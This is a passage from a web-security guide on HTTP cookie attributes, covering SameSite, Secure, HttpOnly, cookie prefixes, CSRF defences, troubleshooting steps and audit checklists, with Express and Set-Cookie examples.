})
```

### Scenario 4: Embedded Widget

**Requirements:**

- Widget embedded in third-party sites
- Cross-origin requests necessary
- Minimal security compromise

**Implementation:**

```javascript
// Widget must use SameSite=None
app.post('/widget/init', (req, res) => {
  res.cookie('widget_session', sessionId, {
    secure: true,
    httpOnly: true,
    sameSite: 'none', // Required for cross-site embedding
    maxAge: 3600000
  })

  res.json({ widgetId: 'abc123' })
})

// Additional security measures
app.use((req, res, next) => {
  // Validate origin against whitelist
  const origin = req.headers.origin
  const allowedOrigins = getAllowedWidgetOrigins()

  if (!allowedOrigins.includes(origin)) {
    return res.status(403).json({ error: 'Origin not allowed' })
  }

  // Add CORS headers
  res.header('Access-Control-Allow-Origin', origin)
  res.header('Access-Control-Allow-Credentials', 'true')

  next()
})
```

## Troubleshooting Common Cookie Security Issues

### Issue 1: Cookies Not Being Sent

**Symptoms:**

- Session appears lost on every request
- User logged out immediately after login
- Cookies visible in DevTools but not sent

**Common causes and solutions:**

**Cause 1: Secure cookie on a plain HTTP page:**

```http
# Problem: page served over http:// (other than localhost)
# Browsers won't set or send a Secure cookie on an insecure origin
Set-Cookie: session=abc123; Secure; HttpOnly

# Solution: serve the site over HTTPS and keep Secure
Set-Cookie: session=abc123; Secure; HttpOnly
```

**Cause 2: SameSite too restrictive:**

```http
# Problem: SameSite=Strict blocks navigation from external sites
Set-Cookie: session=abc123; SameSite=Strict

# Solution: Use Lax for general applications
Set-Cookie: session=abc123; SameSite=Lax
```

**Cause 3: Domain mismatch:**

```http
# Problem: Cookie set for different domain
Set-Cookie: session=abc123; Domain=api.example.com
# User visits app.example.com - cookie not sent

# Solution: Don't set Domain or use correct domain
Set-Cookie: session=abc123; HttpOnly; Secure
```

**Cause 4: Path mismatch:**

```http
# Problem: Cookie restricted to specific path
Set-Cookie: admin_session=abc123; Path=/admin
# Request to /api/users - cookie not sent

# Solution: Use Path=/ for general cookies
Set-Cookie: session=abc123; Path=/
```

### Issue 2: SameSite=None Not Working

**Symptoms:**

- Cross-site requests fail
- Widgets don't work when embedded
- OAuth flows broken

**Error message:**

```text
Cookie "widget_session" has been rejected because it is in a cross-site context and its SameSite is "Lax" or "Strict".
```

**Solution:**

```http
# Wrong: SameSite=None without Secure
Set-Cookie: widget_session=abc123; SameSite=None

# Right: SameSite=None requires Secure
Set-Cookie: widget_session=abc123; Secure; SameSite=None
```

**Additional requirements:**

- Must be served over HTTPS
- Some older browsers don't support SameSite=None
- Consider browser compatibility and fallbacks

### Issue 3: Cookies Accessible to JavaScript (Security Risk)

**Symptoms:**

- document.cookie shows session token
- XSS vulnerability present
- Security audit fails

**Problem:**

```http
# Missing HttpOnly attribute
Set-Cookie: session=abc123; Secure
```

```javascript
// JavaScript can access cookie
console.log(document.cookie) // "session=abc123"
```

**Solution:**

```http
# Add HttpOnly attribute
Set-Cookie: session=abc123; Secure; HttpOnly
```

```javascript
// JavaScript cannot access HttpOnly cookies
console.log(document.cookie) // Cookie hidden
```

### Issue 4: Cookie Not Persisting Across Browser Restarts

**Symptoms:**

- User logged out when browser closes
- "Remember me" not working
- Session lost on restart

**Cause:**
Session cookie (no Max-Age or Expires) instead of persistent cookie.

```http
# Session cookie - discarded when the browser session ends (restored by session restore)
Set-Cookie: session=abc123; Secure; HttpOnly

# Persistent cookie - survives browser restart
Set-Cookie: session=abc123; Secure; HttpOnly; Max-Age=2592000
```

**Implementation:**

```javascript
// Without "remember me"
res.cookie('session', sessionId, {
  secure: true,
  httpOnly: true
  // No maxAge - session cookie
})

// With "remember me"
res.cookie('session', sessionId, {
  secure: true,
  httpOnly: true,
  maxAge: req.body.rememberMe ? 2592000000 : undefined
})
```

### Issue 5: `__Host-` or `__Secure-` Prefix Rejected

**Symptoms:**

- Cookie not being set despite correct-looking code
- Browser silently ignores the cookie
- No obvious error in the Console

**Problem with \_\_Secure-:**

```http
# Rejected: Not served over HTTPS
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure

# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123
```

**Problem with \_\_Host-:**

```http
# Rejected: Includes Domain attribute
Set-Cookie: __Host-session=abc123; Secure; Domain=example.com; Path=/

# Rejected: Path is not /
Set-Cookie: __Host-session=abc123; Secure; Path=/admin

# Rejected: Missing Secure attribute
Set-Cookie: __Host-session=abc123; Path=/
```

**Correct usage:**

```http
# __Secure- cookie
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Strict

# __Host- cookie (strictest)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
```

### Issue 6: CSRF Attacks Despite Cookie Security

**Symptoms:**

- CSRF protection bypassed
- Unwanted actions performed
- SameSite not preventing attacks

**Problem:**
SameSite doesn't cover everything. Requests from a sibling subdomain count as same-site, older browsers may not enforce it, and `Lax` still sends cookies on top-level GET navigations.

**Additional protections needed:**

```javascript
// 1. CSRF tokens for state-changing operations
// csrf() stands in for your CSRF middleware (the old csurf package is deprecated)
app.use(csrf())

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() })
})

app.post('/action', (req, res) => {
  // CSRF token automatically validated
  // Process action
})

// 2. Verify Origin/Referer headers
app.use((req, res, next) => {
  if (['POST', 'PUT', 'DELETE'].includes(req.method)) {
    const source = req.headers.origin || req.headers.referer
    const allowedOrigins = ['https://example.com']
    let sourceOrigin = null
    try {
      sourceOrigin = source ? new URL(source).origin : null
    } catch {}

    // Compare exact origins: startsWith() would accept https://example.com.evil.net
    if (!sourceOrigin || !allowedOrigins.includes(sourceOrigin)) {
      return res.status(403).json({ error: 'Invalid origin' })
    }
  }
  next()
})

// 3. Re-authentication for sensitive actions
app.post('/delete-account', requirePassword, (req, res) => {
  // Additional password check
})
```

### Debugging Checklist

**When cookies aren't working:**

- [ ] Check browser DevTools > Application > Cookies
- [ ] Verify cookie attributes match requirements
- [ ] Ensure HTTPS is used when Secure attribute is set
- [ ] Check Domain and Path match current URL
- [ ] Verify SameSite setting allows the request type
- [ ] Look for JavaScript errors in Console
- [ ] Check Network tab for Set-Cookie headers
- [ ] Verify browser supports cookie prefixes (if used)
- [ ] Clear cookies and test fresh
- [ ] Test in different browser/incognito mode

**Security audit checklist:**

- [ ] All session cookies have HttpOnly attribute
- [ ] All cookies use Secure attribute in production
- [ ] SameSite is set appropriately (Strict or Lax)
- [ ] Cookie lifetimes are as short as possible
- [ ] Sensitive cookies use the `__Host-` or `__Secure-` prefix
- [ ] Domain attribute is not set (or very specific)
- [ ] Path attribute limits exposure where appropriate
- [ ] CSRF protection is implemented
- [ ] Session regeneration on privilege changes
- [ ] Secure cookie deletion on logout

## Best Practices Summary

### For All Applications

1. **Always use HTTPS in production** - Required for Secure attribute
2. **Set HttpOnly on authentication cookies** - Prevents XSS cookie theft
3. **Use SameSite=Lax as minimum** - Basic CSRF protection
4. **Minimize cookie lifetime** - Reduce exposure window
5. **Use cookie prefixes** - \_\_Host- for maximum security
6. **Regenerate session IDs** - On login and privilege changes
7. **Implement proper logout** - Clear cookies and invalidate sessions
8. **Monitor and audit** - Regular security reviews

### Development vs Production

**Development:**

```javascript
// More permissive for local testing
res.cookie('session', sessionId, {
  secure: false, // HTTP allowed locally
  httpOnly: true,
  sameSite: 'lax'
})
```

**Production:**

```javascript
// Strict security in production
res.cookie('__Host-session', sessionId, {
  secure: true,
  httpOnly: true,
  sameSite: 'strict',
  maxAge: 900000, // 15 minutes
  path: '/'
})
```

### Security Layers

Cookie attributes are one layer. A secure app stacks several:

1. **Cookie attributes** - HttpOnly, Secure, SameSite
2. **HTTPS/TLS** - Encrypted transmission
3. **CSRF tokens** - Additional request validation
4. **Content Security Policy** - Mitigate XSS
5. **Input validation** - Prevent injection attacks
6. **Rate limiting** - Prevent brute force
7. **Session management** - Timeout, rotation, validation
8. **Monitoring** - Detect anomalies and attacks

## Related Resources

- **Headers**: [`Set-Cookie`](https://howhttpworks.com/headers/set-cookie), [`Cookie`](https://howhttpworks.com/headers/cookie), [`Content-Security-Policy`](https://howhttpworks.com/headers/content-security-policy), [`Strict-Transport-Security`](https://howhttpworks.com/headers/strict-transport-security)
- **Security**: [CORS](https://howhttpworks.com/guides/cors), [HTTPS and TLS](https://howhttpworks.com/guides/https-and-tls), [Authentication](https://howhttpworks.com/guides/authentication)
- **Concepts**: [Sessions and State](https://howhttpworks.com/guides/sessions-and-state), [Request Lifecycle](https://howhttpworks.com/guides/request-lifecycle)
